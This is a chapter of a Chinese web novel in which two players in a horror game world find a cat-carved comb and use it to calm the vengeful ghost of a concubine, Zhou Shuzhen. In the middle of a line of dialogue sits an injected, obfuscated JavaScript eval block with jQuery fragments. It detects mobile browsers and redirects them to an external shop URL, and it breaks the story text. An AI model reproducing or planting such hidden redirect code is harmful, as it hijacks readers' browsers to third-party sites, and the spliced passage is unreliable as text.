院门刚关上,辛玖冲叶闲急促道:“快!穿衣服!我们时间不多!”
叶闲迅速穿上衣服,“你是不是有什么神通,每次来得都特别是时候。就冲着这份恩情,以后你叫我哥,我叫你姐。”
辛玖一巴掌拍他后脑勺,这人挠挠头,非但不恼,还一味没脸没皮地笑。
她快速将关于雨水的猫腻告诉他。
“怪不得这大少爷一来啥也不说,就让我脱衣服跳井,根本就是觉得我不会反抗吧,”他冷哼一下,“就算你不来,他那身板,我一根手指就能把他推井里。”
“幸好我及时赶到,他还不能杀。”
“为什么?他可是要把我扔井里献祭。”
“你听我说,我有个发现,他似乎想赶在高老爷寿宴前做这件事,足以说明他们父子不对付。还有,他提到的阿青和丝丝,是两只猫的名字。而你的任务青丝挠,青和丝,会不会和这两只猫有关?我们必须马上找到线索!”
叶闲系好带子,抬眼问:“会不会青丝挠就是那两只猫?”
“但挠字怎么解释?”
“猫爪不就是挠嘛,”叶闲挽起袖子,“我去逮猫。”
“等等,我觉得没这么简单,大少爷口中的丝丝好像不在了,你还记得他怎么说的吗?”
她一字不漏背下大少爷的话,“待此事成了,你便能再见到丝丝,与淑贞团聚。那说明丝丝已经不在了,你只逮到阿青也没用啊。”
“可是...青丝挠,确实和阿青丝丝有关。”
辛玖点点头,“也许这是线索,而非结果。我们再仔细找找,重点找跟猫有关,或者可能与‘挠’相关的东西。”
叶闲站直,爽快应道:“得令!”
时间紧迫,两人立刻冲进屋内,叶闲翻查书房,辛玖则重点查睡房。
正当辛玖翻找衣柜时,叶闲的脚步声由远及近,急促跑来。
“辛玖!”
她立刻直起身,心中一喜,激动地问:“找到什么了?”
却见叶闲举起一个小巧的白瓷瓶,语气带着点如获至宝的庆幸:“看我找到了什么?云南白药!快,手伸出来,处理一下再找也不迟。”
辛玖一怔,他不说还好,这一提起,又感觉出痛了。
她依言伸出手。叶闲托住她的手,看清那道皮肉翻卷,血迹凝固的伤口时,眉头拧了起来,“你对自己可真够狠的啊。”
她无所谓地哼一声,“我不对自己狠点,那可就没命了。”
叶闲抬眼看了看她,没再说什么,只是沉默地拔开瓶塞,将药粉小心而均匀地撒在伤口上,动作意外地熟练轻柔。
等处理好伤口,他跟她道了声谢。
她看他神色有些凝重,笑道:“别光说谢,算上这次,救你两次了,所以欠我两次人情,我肯定要找你还。”
叶闲愣了愣,旋即眉开眼笑,“成,我给你记账上,连本带利。”他晃了晃手里的药瓶,“这瓶药算第一笔利息。”
“想得美,这是你自愿的,不算。”辛玖立刻驳回,活动了一下包扎好的手,感觉疼痛减缓不少,“赶紧找,时间不多了。”
“得令。”叶闲从善如流,转身继续投入地毯式搜索。
辛玖抿唇一笑,搜完衣柜,进了拔步床。
又是一阵翻箱倒柜,终于在拔步床的小橱抽屉里,发现个很不一样的东西,一把工笔团扇。
扇上画着一容貌端丽温婉的女子。
她身穿芙蓉红旗袍,坐于院中石凳,云鬓微松,神态娴静。
她的膝上趴着一只通体雪白的猫咪。脚边,黑猫阿青则伸出爪子,似乎想去勾挠从石凳旁垂下的裙角。背景依旧是那棵繁茂的桂树。
扇面角落题着娟秀小字:“阿青与丝丝伴我庭前,淑贞心慰。”
画上女子正是二姨太。
“大胡子,快来!”辛玖欣喜喊道。
叶闲闻声跑来,当看到画和题字,乐得胡子飞起:“青丝挠不会就是这把扇子吧?”
她递给他,“你拿着,看腕表会不会结算任务。”
果然,无事发生,扇子不是任务物品。
辛玖很失望,又转过身继续翻抽屉。
叶闲不死心,将扇子翻来覆去看,忽地顿住,冲辛玖勾勾手指,“妹,你快来看。”
辛玖凑过去看,叶闲指着画中二姨太的发髻,那里斜斜簪着一把造型别致的梳子。
他问:“女人会把梳子戴在头上作为饰物吗?这太不寻常了,像是一个刻意的提示。而且梳柄很奇怪,你看像什么?”
她凑近仔细端详,梳柄竟然雕刻成两只相互缠绕的猫形。
梳子与猫有关,青丝也指头发,“挠”有“梳理”之意。
一切贯通了。
二姨太用来梳理青丝的梳子,很可能就是青丝挠,而且正好也与两只猫相关。
这个推理让辛玖豁然开朗:“梳子,也许是梳子。”
两人立刻在梳妆台搜寻,结果却是一无所获。
辛玖拿过团扇继续看,试图找到更多线索。
梳子在梳妆台是常识,但这里不是正常世界,她就不能以常理推导。
她的视线掠过画面所有物品,最后定格在二姨太所坐的石凳侧面。
那石凳侧面雕刻着简单的花纹,但在画中,其中一块石砖的纹路显得清晰规整,与周围浑然天成的石纹略有不同,更像一个可以活动的机关。
而画中黑猫阿青的爪子伸向的方向,虽看似是裙角,但似乎正巧也落在这块特殊的石砖上。
“石凳!”辛玖脑中灵光一闪,“画提示我们,梳子可能藏在院子里的石凳附近!”
两人冲出屋子,来到院中。院角果然有一个与画中极为相似的石凳。他们绕到石凳侧面,仔细摸索。
“是这块!”叶闲的手指触碰到一块边缘有细微缝隙的石砖。
他用力一推,石砖竟然向内陷出,然后滑开,露出了一个浅浅的的暗格。
暗格之中,一个锦囊静卧其中。
叶闲取出锦囊,解开系绳,里面正是一把做工精美的犀角梳。梳柄被雕刻成两只相互缠绕的猫形,一黑一白,猫眼处镶嵌着细小的异色宝石。
就在叶闲拿起这把梳子的瞬间,两人的腕表同时震动:
【支线任务更新:“旧日情缠”】
【任务目标:找到“青丝挠”已完成】
【获得奖励:200MP】
【物品已获取:二姨太的犀角梳(青丝挠)】
【物品说明:周淑贞生前挚爱之物,凝聚着她对阿青、丝丝的深切情感。对怨灵周淑贞使用,能唤醒其被执念淹没的片刻人性与记忆,得到意想不到的收获。】
“走,找周淑贞去。”辛玖抬步就要走。
“等等等等,别急,不会又要下井吧?那里我可看过,就是口深水井,水干净,但深不见底,下去就难上来了。”
辛玖停下脚步,看傻子一样看他,“大胡子啊大胡子,你老实交代,E级环线到底怎么过的?你这脑子怎么时灵时不灵?”
叶闲笑起来,露出虎牙。他非但不以为耻,反而颇为自豪地屈起手臂,拍了拍结实的肱二头肌,“脑子转不动的时候,全靠这个弥补,一个字,莽!”
辛玖根本不信他纯靠莽,这人分明心细如发,要不也不能发现画中梳子玄机,从而得到关键线索。
她忽然意识到,叶闲最厉害的本事,或许是精准的看人眼光和出色的协作能力,就像他总能恰到好处地配合自己。
说到配合,用他的时候到了。
她若有所思打量起他。
他察觉到目光,立刻警惕,“干嘛,你这眼神怎么感觉不安好心。”
“你还人情的时候到了,你去把布揭开,召唤来二姨太的头发,我给它梳梳。”
叶闲啧啧称奇,“你不仅对自己狠,对同伴也狠啊。”
“一句话,去还是死?你选一个”
“少跟那傻缺大少爷学,去就去!”一想到被头发缠住那滋味,他就很不好受,但眼下也没别的办法。
主要他也认命了,谁让自己皮糙肉厚,抗造呢。
就在他抬步时,院外传来大少爷暴怒的喝声,“贱婢,你竟敢
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17877342|212113||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
骗我!”
脚步声急促逼近,已然到了院门口。
辛玖当机立断,一把从叶闲手中拿过梳子,将他推走,“直接去揭布,我见机行事!”
叶闲会意,不再多言,如离弦之箭冲向正屋。
与此同时,院门被踹开,大少爷带着一身滔天怒意闯了进来。
他没理正往屋里跑的叶闲,只怨毒地盯着辛玖,咬牙切齿道:“贱婢!敢戏弄我,真当我不敢杀你吗?!”
他根本不给辛玖狡辩的机会,从腰后抽出一把单发短柄火铳,将枪口对准她。
辛玖脸都白了,拔腿就往屋里跑。
而大少爷锁定她,抬手就是一枪。
“砰!”一声震耳欲聋的铳响炸开,铅弹裹挟着硝烟与火光,直冲向辛玖。
而她在枪响瞬间,便扑倒在地,子弹飞过她刚才站立的地方,击打在青砖墙上,溅起一串碎屑,浓烈的硫磺味瞬间弥漫开来。
大少爷刚要再补一枪,却在这时,一股无形却磅礴的阴冷怨气,从井中爆发开来。
紧接着,无数湿滑乌黑的长发,从井中喷涌而出。
大少爷见此,脸色骤变,惶恐又不知所措,丢了枪,疯也似地扑到井边:“淑贞,淑贞,是枪声惊扰到你了?莫急,我杀了她,给你出气。”
淑贞似乎不太给他面子,头发们兵分三路,一部分发丝缠上大少爷,一部分缠上辛玖,最后一部分缠住叶闲,并将他拖出屋子。
头发狂怒,要将他们三一起拖进井里。
大少爷目眦欲裂:“淑贞,是我啊!”
回应他的,是腰间骤然收紧的发丝,勒得他几乎喘不过气。
他脸上的震惊逐渐被一种惨然的绝望取代。
“你还是不肯原谅我……即便我为你寻来这么多引子,你还是不肯原谅我当初的懦弱,是不是?!”
他被发丝拖着,踉跄着靠近井口,声泪俱下,“当年父亲要处置你,我……我不敢反抗!是我没用!我后悔了!我杀了那告密的老仆,我一直想办法让你活过来!”
辛玖也被发丝缠绕着,拖向井口。
她瞬间明白过来,这哪里是什么深情不悔的唤醒,这根本就是一个懦夫偏执的自我赎罪。
他口中的“引子”就是活人,他用投喂活人的方式,试图平息二姨太的怨气,或者说,试图滋养她,强留住她。但这无疑是在饮鸩止渴。
等等,不对啊,如果这口井真的被投入过那么多活人,为何井水还能保持干净?那些尸体去了哪里?
她再度看向大少爷,他已经生无可恋,放弃抵抗,任由头发像蚕丝一样,密不透风地裹住他。
糟糕,现在得先把疑点放一边,她当务之急要做的是,梳头发!
她将梳子扎进缠绕自己的发丝中,用力梳理下去。
一边梳,一边说:“淑贞,看看这把梳子,想想阿青和丝丝,我们不会伤害你。”
起作用了,她手下感觉到,被梳理过的头发逐渐变柔顺,片刻后,头发松开了对辛玖的束缚。
一记哀戚的呜咽声从井底传来,狂躁的怨气凝滞一瞬。
辛玖不敢停歇,奔到叶闲身边,继续梳理头发。每一次梳理,都有一缕黑发恢复柔顺,那滔天的怨气也随之减弱一分。
叶闲被头发松开,她最后来到大少爷身前,他已经完全被头发裹成木乃伊,动都不动了。
“淑贞,能不能告诉我,是不是大少爷喂给你的东西,让你生气了?你根本不需要人祭,你要的是安宁。”
一声若有似无的呜咽声从井底传来,所有黑发不再狂暴,它们温顺披散下来,露出了大少爷青白的脸。
井口,黑发缓缓凝聚,一个身着旗袍,面容苍白却依稀可见生前清丽轮廓的女子虚影,幽幽浮现出来。
她那双盈满无尽哀伤的眸子,缓缓扫过瘫软在地的大少爷,最终,定格在辛玖手中那把双猫梳子上。
一滴泪珠滑落。
“……阿青……丝丝…...”
她缥缈而沙哑的声音在兰苑中回荡,带着看破生死,却斩不断红尘的无尽眷恋。